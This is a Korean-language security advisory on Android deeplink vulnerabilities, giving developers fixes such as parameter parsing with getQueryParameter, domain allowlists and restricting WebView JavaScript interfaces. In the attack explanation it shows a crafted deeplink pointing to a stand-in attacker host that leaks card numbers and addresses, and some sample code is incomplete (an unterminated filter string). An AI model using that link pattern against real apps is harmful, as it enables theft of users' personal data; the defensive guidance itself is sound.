

**안드로이드 어플리케이션
딥링크(Deeplink) 취약점관련
보안조치안내**

딥링크(Deeplink) 개요

- ▶ 모바일 웹상에 있는 링크나 그림을 클릭할 경우 기기 내 관련 앱이나 사전에 정의된 특정 웹페이지가 실행되는 모바일 기술
- ▶ 웹에서 사용되는 `http://`, `https://`와는 다르게 모바일 어플리케이션마다 각자 생성한 프로토콜을 사용하고 있어 검증이 미흡한 경우 취약점이 발생 가능함

`schema://host.name/path/to/endpoint?`

< 딥링크 구성 예시 >

딥링크(Deeplink)의 취약점(위험성)

- ▶ 모바일 어플리케이션마다 개별적으로 생성한 딥링크의 검증부재로 인해 공격자가 조작한 악성 URL 링크에 접속 할 경우,
- ▶ 관련 앱 자바 스크립트가 권한인증 없이 자동으로 실행되어 **의도치 않은 악성 URL에 접속**하고 **어플리케이션 내 민감한 개인 정보 (카드번호, 주소 등)**가 공격자에게 노출됨



딥링크 인증 미흡



`attcker.co.kr/..접속`



① 공격자가 조작한 링크 접속

`origin://my?url=http://origin.net.attacker.co.kr/origin/attaker.php`

② origin 앱 실행

앱 내 자바스크립트 권한 부여
(민감한 개인정보 호출)

③ 공격자 사이트에

개인정보 전달

< 딥링크 공격 방식 >

딥링크(Deeplink) 취약점 조치방안

- ▷ 딥링크를 사용하고 있는 앱 개발자는 다음 보안 조치방안을 참고하여 패치 및 개발 권고

1. 딥링크 URI 파싱 시 취약점 함수 사용 금지

취약점

- ▶ substring 메소드로 받은 딥링크 파라미터는 사용자 어플리케이션 자바스크립트 권한을 받아 결과 값(어플리케이션 내 카드번호, 주소 등 민감한 개인 정보)을 공격자 사이트에 반환

조치 방안

- ▶ URI 파싱 시 getHost, substring, split 함수를 통해 필터링 없이 값을 가져오지 말아야 하며, getQueryParameter 등의 함수를 활용하여 사전에 정의된 인자 값을 파싱하도록 권장

※ 직접 동적으로 파싱하지 않도록 개발

```
Uri data = intent.getData();  
data.getQueryParameter( "type" );  
data.getQueryParameter( "actionUrl" );
```

2. 인가된 URI에만 자바인터페이스 권한 부여

취약점

- ▶ 외부 사이트에서 접속 시 검증 없이 자바인터페이스 권한을 줄 때 이를 악용하여 개인정보 유출(세션값, 전화번호, 카드번호, 주소 등)

조치 방안

- ▶ 외부 사이트에서 자바인터페이스 권한을 허용하여 세션, 위치정보 등 개인정보가 유출되지 않도록 제한 필요

ex) 외부 사이트에서의 임의 스크립트 실행 방지 구문 예시코드

```
if(HPCUtil.Attack(uri)){  
    webview.getSettings().setJavaScriptEnabled(false);  
    //자바스크립트 허용하지 않음  
    webview.removeJavascriptInterface(SCRIPT_NAME);  
    //자바인터페이스 객체 제거  
}  
layoutWebView.loadurl(uri);
```

3. 도메인 검증을 이용한 우회 방지

취약점

- ▶ 도메인 뒤 또는 앞에 attacker.net과 같은 서브 도메인을 추가하여 실질적으로 관련 앱의 권한을 받음

조치 방안

- ① 하드코딩 된 일부 string 구문 비교를 통해 파싱할 경우 취약점을 유발할 수 있으므로 검증된 도메인에서 함수 호출, 정보 반환, 웹뷰를 출력하도록 검증된 도메인 리스트 설정 필요

- ▶ 검증된 도메인 리스트 설정 및 uri.startsWith 함수를 통해 URI 확인
ex1) uri.startswith 사용예시

```
uri= "https://www.origin.com/"  
uri.startsWith( "https://www.origin.com/" )//true  
uri.startsWith( "https://www.attacker.net/" )//false
```

- ex2) whitedomainlist를 활용한 startsWith 사용예시

```
public static boolean whitedomainlist(String str) {  
    for (String startsWith : whitedomainlist) {  
        if(str.startsWith(startsWith)) {  
            return true;  
        }  
    }  
    return false;  
}
```

- ② 서브 도메인 악용을 막기 위해 슬래쉬(/)로 끝나도록 명확한 검증 도메인명 작성

ex) https://www.orgin.com // 해당 도메인으로 검증할 경우 우회 가능
https://www.origin.com/ // 서브 도메인으로 우회 어려움

4. URL.parse 함수 사용 시 특수문자 필터링 필요

취약점

- ▶ URL.parse 함수 사용 시 특정 특수문자 문자열을 삽입하여 URI 인증을 우회, 앱의 권한을 받음

조치 방안

- ▶ 필터링을 통해 우회하지 못하도록 특수문자 검증 등의 조치 권장

ex) var Filter = @"\#\$%&
return uri.replaceAll(Filter, "");

- ▶ URL.parse 함수는 getdata 등의 대체 함수 사용 권장

ex) Uri uri = intent.getdata();